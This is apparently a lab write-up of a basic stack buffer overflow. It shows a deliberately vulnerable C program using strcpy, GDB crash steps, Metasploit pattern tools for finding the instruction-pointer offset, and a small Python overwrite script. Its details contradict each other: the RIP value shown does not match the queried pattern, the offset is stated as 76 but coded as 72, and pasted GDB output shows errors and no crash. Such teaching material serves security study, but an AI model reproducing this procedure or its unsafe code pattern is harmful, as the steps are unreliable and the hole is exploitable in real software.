

Buffer Overflow Exploit – Part 1 Documentation

Objective:

Identify a buffer overflow vulnerability in a test binary, crash the program using a crafted input, and determine the exact offset at which the buffer overflows into the Instruction Pointer (EIP/RIP).

Tools Used:

- **Kali Linux**
 - **GDB (GNU Debugger)**
 - **Metasploit tools:** msf-pattern_create, msf-pattern_offset
-

Step 1: Load the Vulnerable Program in GDB

```
#include <stdio.h>
```

```
#include <string.h>
```

```
void vulnerable_function(char *input) {  
    char buffer[64];  
    strcpy(buffer, input);  
    printf("You entered: %s\n", buffer);  
}
```

```
int main(int argc, char *argv[]) {  
    if (argc != 2) {  
        printf("Usage: %s <input>\n", argv[0]);  
        return 1;  
    }  
    vulnerable_function(argv[1]);  
    return 0;  
}
```

Step 2: Cause a Crash with Junk Input

Run the vulnerable program with 100 "A" characters to check for a crash.

`gdb`

`run $(python3 -c 'print("A"*100)')`

Check for a segmentation fault (e.g., Program received signal SIGSEGV). This confirms a buffer overflow is present.

Step 3: Generate a Unique Pattern

Exit GDB:

`Gdb quit`

Then in the bash terminal, run:

`msf-pattern_create -l 200`

Copy the output pattern, which will look like:

`Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3...`

Step 4: Rerun in GDB with Pattern

Back in GDB:

`gdb ./vuln`

Then:

`gdb`

`run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0...`

Wait for the crash.

Step 5: Find RIP/EIP Value After Crash

In GDB, after the crash:

`gdb`

`info registers`

Look for:

- `rip` (64-bit systems)

Output:

makefile

RIP: 0x0000000000401172

Step 6: Find the Offset

Use the value found in RIP/EIP in bash:

msf-pattern_offset -q 41326341

Output:

sql

[*] Exact match at offset 76

This tells you that after **76 bytes**, you control the instruction pointer.

```
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  strcpy@plt
0x0000000000401040  printf@plt
0x0000000000401050  _start
0x0000000000401080  _dl_relocate_static_pie
0x0000000000401090  deregister_tm_clones
0x00000000004010c0  register_tm_clones
0x0000000000401100  __do_global_dtors_aux
0x0000000000401130  frame_dummy
0x0000000000401136  vulnerable_function
0x0000000000401173  main
0x00000000004011c8  _fini
(gdb) x/20x $esp
No registers.
```

Part 2: Create the Python Exploit Script

Create a new file:

```
nano exploit.py
```

Paste the following code:

```
import subprocess
```

```
offset = 72
```

```
payload = b"A" * offset + b"BBBB"
```

```
subprocess.call(["./vuln", payload])
```

Save and exit:

- Press CTRL + X, then Y, then Enter
- **Run the Exploit**

```
python3 exploit.py
```

```
hacker@kali: ~  
0x0000000000401130 frame_dummy  
0x0000000000401136 vulnerable_function  
0x0000000000401173 main  
0x00000000004011c8 _fini  
(gdb) x/20x $esp  
No registers.  
(gdb) (gdb) find &system,+999999,"\\xff\\xe4"  
Undefined command: "". Try "help".  
(gdb) find &system,+999999,"\\xff\\xe4"  
No symbol table is loaded. Use the "file" command.  
(gdb) q  
  
(hacker@kali)-[~]  
$ nano exploit.py  
  
(hacker@kali)-[~]  
$ python3 exploit.py  
  
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAABBBB  
  
(hacker@kali)-[~]  
$
```